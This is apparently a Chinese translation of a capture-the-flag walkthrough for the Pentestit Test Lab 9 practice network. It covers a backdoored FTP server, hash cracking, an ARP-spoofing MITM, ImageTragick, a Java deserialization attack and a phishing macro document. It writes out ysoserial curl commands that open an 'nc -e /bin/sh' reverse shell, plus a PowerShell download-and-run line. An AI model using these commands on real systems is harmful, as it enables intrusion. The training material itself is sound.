旧酒犹香——Pentestit Test Lab第九期（下）

FTP

使用nmap服务器172.16.0.4进行扫描后，我们找到了开放端口21（ftp）和端口22（ssh）。使用之前的ssh账号信息无法登录，所以围绕FTP来看。

ProFTPD 1.3.5有一个已知的漏洞。该漏洞允许在未认证的情况下复制文件，加上Web服务可以实现任意文件下载，比如复制/etc/passwd到/var/www。问题是这台机器上的Web服务器没有运行…

让我们尝试连接到ftp服务器：

匿名登录可用，在dist文件夹中我们找到FTP服务proftpd的源代码。放在这里肯定是有原因的，我们试着研究它。使用ftp客户端（lcd和get命令）下载并解压缩proftpd-dfsg-1.3.5.tar.bz2存档，并尝试查找代码中的更改。搜索CYBEAR子字符串找到src/help.c文件：

ProFTPD版本1.3.3c中内置了类似的后门程序。

让我们尝试使用提供的后门！

好吧，在/home文件夹中我们找到了一些有用的文件

除了“旧”文件夹中的标记之外，我们还发现：

• 新帐户m.barry，
• m.barry/upload/test_scripts文件夹中的测试脚本，
• 带密码的cisco路由器配置文件

• 带有密码m.barry的trouble.cap文件，表明dev服务器可能使用FTP从test_scripts文件夹下载Python脚本并启动它们。

不幸的是，因为没有足够的权限，不能简单地查看test_scripts中包含的文件，所以必须寻找另一种攻击dev服务器的方法。

 

CISCO

从cisco开始尝试使用找到的信息。我们根据网络拓扑回忆IP并使用得到的密码登录路由器：

得到token！现在让我们尝试破解enable 3的哈希：

找到密码，尝试并获得特权模式：

一切准备就绪。路由器的配置文件允许你进行流量监控：

借助这些命令，可以研究通过该子网（即门户网站）的流量。

事实证明，有机会以不同的方式通关，我个人不需要监控流量。因此，我建议将这部分留给读者继续进行。

 

NAS和未受保护的备份

继续探索不同的子网，我们遇到了一个NAS服务器：

打开端口3260暗示能够连接到iscsi。如果你关注安全新闻，可能听说过意大利公司Hacking Team的黑客行为（CyBear32c的原型便是这个）。在网络上，你可以找到有关攻击原理的文章，从中了解很多精彩的内容。

让我们从端口转发到本地机器开始：

安装iscsiadm并尝试连接：

尝试连接，失败。

我们打开调试模式，看到iscsiadm正在尝试连接到192.168.0.3，但是它不在我们的子网中。让我们尝试使用sshuttle替代端口转发。这样我们可以直接访问真实IP，而无需单独转发每个端口。

连接：

连接成功！现在查看磁盘信息：

现在需要连接这个vmdk：

它在磁盘上开始偏移位置为63 * 512字节，即32,256：

之后，Kali能够自动检测磁盘并直接访问内容：

我们找到用户token_nas_token，但文件系统中没有任何东西。将注册表数据库从WINDOWS\system32\config复制到本地，并尝试查看保存的密码哈希：

为了缩短哈爆破时间，我们将使用在线爆破服务rainbowtables.it64.com。你可以自己本地爆破，但在在线服务的帮助下会更快。

我们输入现有的LM哈希值（每行中转储的第一个哈希值）并查看结果。LM哈希是使用大写后的密码计算出来的（译者注：可自行百度LM哈希原理），因此在得到结果后需要使用NTLM哈希恢复正确的密码。

可以在数据库中找到所有哈希值及其相应的密码。将它们（大写）保存在一个单独的文件中，并使用john带上-rules=NT选项来查找正确的密码：

并使用-show选项获取密码：

ask的token在token_nas_token的密码中，同时还获得了d.rector的新凭据。我们继续！

 

Terminal

如上所述，在一个地方找到的密码可能出现在另一个地方。在这种情况下，通过扫描terminal2服务器端口，我们得到一个打开的RDP（译者注：国内俗称3389）：

让我们尝试使用来自NAS的d.rector凭据进行连接：

token就在桌面上！

 

DEV和MITM

通过访问本地子网192.168.3/24，我们开辟了新的攻击途径。回想一下网络拓扑图，加上在FTP服务器上找到的trouble.cap：

如在trouble.cap中所见，dev服务器很可能在访问FTP test_scripts文件夹下载所有*.py文件后执行了它们。只有root用户才能获取此文件夹的访问权限。

现在我们有了一个terminal服务器，Intercepter-NG位于其中，我们可以轻松进行MITM攻击。我们来试试吧！

从文件夹C\Intercepter-NG打开Intercepter-NG。第一步是扫描本地网络。右键单击表中的空白区域，设置防止ARP扫描超时并启动云安全扫描。

同时，Intercepter在其子网中发送ARP请求以确定其中的现有主机，然后尝试确定每个主机上安装的操作系统。

好吧，已经定义了两个主机：

Stealth IP是一个不存在的IP地址，Intercepter用它来执行MITM攻击。

由于客户端和服务器位于不同的子网上，因此它们将通过网关相互通信; 我们将3.3添加到NAT，并将3.254添加为网关。

同时需要在ftp服务器上创建一个目录（dev将进入），而不是利用原来的upload文件夹，并且新建目录名称应具有与“upload”一样多的字符，因为Intercepter-NG只能替换相同长度的流量。

当然，在test.py脚本中，我们将设置有效负载-反弹shell到172.16.0.2的6666：

配置拦截器：

流量转换器将用.uploa替换upload，因此，当m.barry进行CWD上传时，它将进入目录.uploa并从那里下载并执行我们的脚本，从而创建一个反向shell。

我们在SSH上开启监听：

我们按下三个按钮打开Incercepter：首先是右上方的常见嗅探，然后是NAT，然后是ARP中毒。

在一分钟内我们得到了shell：

同时发现了服务器的token：

 

“Tragick”SITE-TEST

现在让我们将注意力转向站点测试服务器。像往常针对Test Lab的Web服务一样，尝试运行whatweb和dirb来找出服务器上的内容。

该站点是用PHP框架Laravel编写的。此外，还包括详细的报错信息：

从这里，你通常可以获得有关服务器路径等的信息，这些信息对于SQL注入等很有帮助。但在这种情况下，它对我们没有多大帮助……
使用dirb很快就找到URL：

在管理面板中使用已经收集的凭据尝试登录，都没成功。我们切换到照片上传的地方，简单尝试提交：

再次下载图片，但无法找到添加这些图片的位置（虽然dirb也找到了upload文件夹，但其中的文件无法通过其原始名称访问）。

让我们尝试ImageMagick中的一个漏洞，它被称为ImageTragick。

构造要下载的文件：

并在SSH服务器上监听端口1234。填写表单并使用上面显示的文本内容加载文件oops.jpg。

连接成功！在根文件夹（cd/）中，我们看到token.txt：

 

打开PORTAL

让我们尝试探索门户服务器，从端口扫描开始吧：

发现了端口8080，我们实际上看到了门户网站：

尝试使用之前找到的密码。例如，使用t.smith和其密码登录成功。密码可以重复使用两次 – 在terminal2和这里。

获得了一页“假期信息”（包含新用户名）：尝试登录或获取a.petrov登录的密码 – 但没有成功。注意cookie：

看起来像base64，解码：

这是一个以md5形式存储用户名和密码哈希的Java对象。尝试改变名称a.petrov大小写，但是不起作用。客户端设置的对象到达服务器后将被恢复，按照这个思路做下去：

将对象从base64字符串形式恢复为二进制格式然后再恢复到内存（反序列化）时，可以执行任意代码（Jenkins漏洞就是这样）。我们可以使用ysoserial工具在服务器上执行任意命令。其原理是生成一个Java对象，在反序列化时执行需要的命令（在本文例子中是反弹shell）。

通过下面的命令将ysoserial生成的内容以base64-cookie的形式发送到bash：

curl -b ‘userInfo=”‘$(java -jar ysoserial-0.0.4-all.jar CommonsCollections1 ‘nc -e /bin/sh 172.16.0.2 1235’ | base64 | tr -d ‘\n’)'”‘ ‘http://192.168.1.2:8080/index.jsp’

执行期间发生错误：

我们发现同样的问题在github中被指出，并且已在代码仓库中修复，但尚未编译在发行版中。所以需要git clone新版本，安装maven并在本地编译得到修复后的程序。

xxxxxxxxxx

apt-get install maven

git clone https://github.com/frohoff/ysoserial.gi

mvn compile package

将程序更新到Commons-Collections5：

curl -b ‘userInfo=”‘$(java -jar ysoserial-0.0.5-SNAPSHOT-all.jar CommonsCollections5 ‘nc -e /bin/sh 172.16.0.2 1235’ | base64 | tr -d ‘\n’)'”‘ ‘http://192.168.1.2:8080/index.jsp’

在ssh服务器上监听端口1235，得到shell。

在根文件夹中找到token.txt，这样只剩下一个token了。

在研究了一个小门户后，我们在crontab中发现了一些有趣的东西：邮件check脚本，其中包含邮件中的B.muncy用户名和密码。

 

Roundcube Mail

发现是Roundcube服务器，虽然Roundcube存在许多漏洞，但是这里所有已知的漏洞都被修复了。

让我们试试其他途径。我们使用b.muncy的密码登录

进入邮箱：邮箱是空的。但是，由于门户网站有一个自动检查邮件的机器人，我们会尝试向我们已知的其他帐户发送邮件。

其中一个r.diaz回信了！我们正在尝试向他发送其他内容。

我们得到了答案：

在与机器人交谈之后，发现需要使用社会工程学。我们尝试向bot发送不同的文件：PDF，Word文档等。机器人对其中一个作出了反应！

如果您在附件中发送Word文档，它会发出一个token和一条消息，指出只有来自r.lampman的文件才能打开。我们试着去做吧！

 

Terminal

在终端服务器上，rdp的端口3389关闭，其余部分没什么有用的。无论如何，需要r.diaz打开Word文档！

我假设Microsoft Security Essentials安装在终端服务器上，就像它在terminal2上一样，并在本地安装了具有相同防病毒功能的Windows，以便在发送文档之前在现场进行测试。

在这种情况下，攻击变成了多阶段。要在终端上进行会话，我们需要：

• 学习如何从r.lampman发送r.diaz邮件（我们没有他的邮箱密码），
• 使用反向shell payload创建文档，
• 绕过Microsoft Security Essentials防病毒软件，
• 在计算机端口443上监听（仅从网络内部打开80和443）。

发送信件

通过脚本使用b.muncy登录（但将发件人设置为r.lampman）向r.diaz发送邮件。

这里有几件重要的事情：

• 替换FROM字段的值
• 替换正确的MIME类型，以便明确发送Word文档
• 不要忘记在base64中对文档进行编码，以免在传输过程中被破坏
• 将172.16.0.1的587端口转发到本地机器：

生成有效Payload

现在需要创建一个通过杀软检测的Word文档。经过对此尝试后（在真正的攻击之前，可以在本地环境中进行测试），终于找到了一个可行的版本。

我们不会立即将整个Payload保存到文档中，而是将其从我们的服务器下载。为此，我们将执行以下操作：

1.使用setoolkit创建有效Payload：

选择选项1（社会工程攻击），然后选择9（Powershell攻击向量），然后选择1（Powershell Alphanumeric Shellcode Injector）：

在本地计算机上启动Web服务并从/root/.set/reports/powershell复制生成的Payload到/var/www/html/payload.txt：

检查文件是否可访问：

2.创建文档

我利用这篇文章的方法

首先需要混淆下载Payload的命令：

powershell.exe “IEX ((new-object net.webclient).downloadstring(‘http://<your_ip>/payload.txt’))”

为此，可以使用此处的Java applet，运行：

输入：

powershell.exe “IEX ((new-object net.webclient).downloadstring(‘http://<your_pentestit_ip>/payload.txt’))”

获取结果并粘贴到文档中。以防万一我添加了Document_Open()。

需要注意的是，添加宏时，应使用docm扩展名将其保存在文档中，而不是保存在Normal模板中。

现在还差最后一步。

3.启动Metasploit

在发布之前，我们再次整理下要点：

• Payload可从http://your_ip/payload.txt获得。
• 172.16.0.1:587被转发到本地127.0.0.1。
• 该文档与发送邮件的脚本一起置于文件夹中。

速度！

在一分钟内：

转到C:\Users\r.diaz\Desktop 获取token！

 

SSH-TEST – 最后的障碍

最后一个服务器，到目前为止我们还没有在网络中找到任何线索。我们扫描完所有端口后，也没有任何开放端口的响应。如图，几乎所有端口都使用RST数据包（closed）对我们做出响应，并且剩下的三个也丢弃了所有访问数据包。

这表明这些端口需要“knock”，希望端口22（ssh）能够以正确的组合打开，使得我们将有时间连接它。

顺便一提，在拿下ssh服务器一开始，我们在用户d.nash的.ssh文件夹中找到了密钥，可以确定的是在这里能派到用场：

因此，执行以下操作来“knock”开正确的端口：

使用sshuttle直接转到服务器（需要指定所需的子网以保持互联网正常访问）：

将d.nash id_rsa密钥复制到本地：

安装knock实用程序，它将knock必要的端口：

尝试这三个端口的6种组合，其中一种工作正常！

这是最后一个token！成功过关！

 

后记

本文档仅介绍了通关的一种方法。我相信有很多选择。如果你知道一些有趣的方法来解决这个或那个问题，我在这里没有提到，我很乐意在评论中了解它。

我希望这篇文章能够帮助那些尚未与Pentest合作的人进入信息安全领域并尝试真正的实际测试。祝你好运！